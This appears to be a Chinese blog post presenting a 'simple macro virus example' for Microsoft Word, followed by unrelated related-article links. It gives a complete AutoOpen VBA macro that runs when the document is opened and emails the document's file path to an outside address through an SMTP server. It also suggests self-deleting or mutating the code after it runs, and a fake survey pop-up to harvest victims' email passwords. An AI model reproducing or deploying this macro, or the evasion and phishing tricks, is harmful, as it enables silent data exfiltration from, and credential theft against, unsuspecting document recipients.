宏&一个简单的宏病毒示例
基于VisualBasicForApplications
其一:录制宏
在word,视图,宏,录制宏选项。
操作比较简单,不再赘述。 (注意根据需求选择normal还是当前文档)
例如:录制宏:快捷键设为空格,将某些字段设为隐藏/空白。可以隐藏信息。(虽然很简陋)
其二:编辑宏
视图 宏 查看宏 创建 (注意根据需求选择normal还是当前文档)
CDO组件发送邮件。
用了ActiveDocument.FullName获取当前文档的path。
不知道为什么Dim mail As New CDO.Message 会报错
改用Set cm = CreateObject("CDO.Message")
同时这里宏名AutoOpen。具体释义可以在网上找。这里是偷懒了,可以先做一个msg的宏,再做一个AutoOpen,在AutoOpen里call msg
注意发送的邮箱要在设置中开启SMTP选项,同时设置一个第三方登录密码。这样代码里用的是这个密码而非邮箱密码。
另外编辑完成后提示doc不支持宏,所以改为docm格式。
另外在visual basic for application编辑时注意在 工具——引用 添加CDO的库
代码
改进的思路也有很多。比如运行完直接销毁代码,运行完随机替换代码字符等等。
还有社会工程的方法,比如弹出一个框要用户输入自己的邮箱和密码。(以调查,更新等名义)
Sub AutoOpen()
'
' AutoOpen 宏
'
'
MsgBox ("thanks")
Set cm = CreateObject("CDO.Message")
cm.From = "xxxx@163.com"
cm.To = "yyyy@qq.com"
cm.Subject = "the back"
cm.HTMLBody = ActiveDocument.FullName
stUl = "http://schemas.microsoft.com/cdo/configuration/" '微软服务器网址
With cm.Configuration.Fields
.Item(stUl & "smtpserver") = "smtp.163.com" 'SMTP服务器地址
.Item(stUl & "smtpserverport") = 25 'SMTP服务器端口
.Item(stUl & "sendusing") = 2 '发送端口
.Item(stUl & "smtpauthenticate") = 1 '需要提供用户名和密码,0是不提供 '
.Item(stUl & "sendusername") = "xxxx" '发送方邮箱名称
.Item(stUl & "sendpassword") = "xxxx" '发送方邮箱密码
.Update
End With
cm.Send '最后当然是执行发送了
Set cm = Nothing
'发送成功后即时释放对象
End Sub
宏&一个简单的宏病毒示例的更多相关文章
- [MySQL5.6] 一个简单的optimizer_trace示例
[MySQL5.6] 一个简单的optimizer_trace示例 前面已经介绍了如何使用和配置MySQL5.6中optimizer_trace(点击博客),本篇我们以一个相对简单的例子来跟踪op ...
- 一个简单的CSS示例
1 <!DOCTYPE html> 2 <html> 3 <head> 4 <meta charset="utf-8" /> 5 & ...
- IDDD 实现领域驱动设计-一个简单的 CQRS 示例
上一篇:<IDDD 实现领域驱动设计-CQRS(命令查询职责分离)和 EDA(事件驱动架构)> 学习架构知识,需要有一些功底和经验,要不然你会和我一样吃力,CQRS.EDA.ES.Saga ...
- (转)Web Service入门简介(一个简单的WebService示例)
Web Service入门简介 一.Web Service简介 1.1.Web Service基本概念 Web Service也叫XML Web Service WebService是一种可以接收从I ...
- Ajax得知(两)—— 一个简单的Ajax示例
通过部分博客认识Ajax之后,我们通过一个简单的实例来消化消化理论知识,一睹Ajax的庐山真面目. 1.实例功能: watermark/2/text/aHR0cDovL2Jsb2cuY3Nkbi5uZ ...
- Web Service入门简介(一个简单的WebService示例)
Web Service入门简介 一.Web Service简介 1.1.Web Service基本概念 Web Service也叫XML Web Service WebService是一种可以接收从I ...
- 一个简单的ServletContextListener示例
ServletContext可以初始化String类型的参数.但是,如果你希望应用初始化参数是一个数据库DataSource呢?上下文参数只能是String.毕竟,你不能把一个Dog对象塞到XML部署 ...
- 从一个简单的 JPA 示例开始
本文主要讲述 Spring Data JPA,但是为了不至于给 JPA 和 Spring 的初学者造成较大的学习曲线,我们首先从 JPA 开始,简单介绍一个 JPA 示例:接着重构该示例,并引入 Sp ...
- 一个简单的MapReduce示例(多个MapReduce任务处理)
一.需求 有一个列表,只有两列:id.pro,记录了id与pro的对应关系,但是在同一个id下,pro有可能是重复的. 现在需要写一个程序,统计一下每个id下有多少个不重复的pro. 为了写一个完整的 ...
随机推荐
- vagrant up报错【io.rb:32:in `encode': "\x95" followed by "\"" on GBK (Encoding::InvalidByteSequenceError)】
vagrant up报错[io.rb:32:in `encode': "\x95" followed by """ on GBK (Encoding: ...
- EXPORT和IMPORT使用示例
1 report ztestprog. 2 data:begin of itab1 occurs 0, 3 ff(10), 4 end of itab1. 5 data:itab2 like itab ...
- JavaScript中函数的this指向!
JavaScript的this的指向问题! 这是我自己敲的, 报错! <button>点击查看绑定事件的this指向!</button> <script> // 函 ...
- git的使用学习笔记---合并分支
一.使用场景 不同的分支需要合并 二.操作 1.首先要创建一个分支 git checkout -b mergedemo 创建文本 vim text.txt 添加文本 git add text.txt ...
- oblet
oblet - The Go Programming Language https://golang.google.cn/search?q=oblet // put enqueues a poin ...
- python 11 模块
模块 在计算机程序的开发过程中,随着程序代码越写越多,在一个文件里代码就会越来越长,越来越不容易维护. 为了编写可维护的代码,我们把很多函数分组,分别放到不同的文件里,这样,每个文件包含的代码就相对较 ...
- Quartz 定时任务调度
一.在Quartz.NET中quartz.properties的配置文件,忽略不修改,考虑下面: var props = new NameValueCollection { { "quart ...
- vue3系列:vue3.0自定义虚拟滚动条V3Scroll|vue3模拟滚动条组件
基于Vue3.0构建PC桌面端自定义美化滚动条组件V3Scroll. 前段时间有分享一个Vue3 PC网页端弹窗组件,今天带来最新开发的Vue3.0版虚拟滚动条组件. V3Scroll 使用vue3. ...
- Spring5源码,@ModelAttribute
一.什么是@ModelAttribute注解 二.@ModelAttribute注解相关代码详解 一.什么是@ModelAttribute注解 @ModelAttribute注解主要用来将请求转换为使 ...
- centos6.5 更新python2.6.6至2.7.6
1.查看当前Python版本 # python -V Python 2.6.6 2.下载Python2.7.6源码 # wget http://python.org/ftp/p ...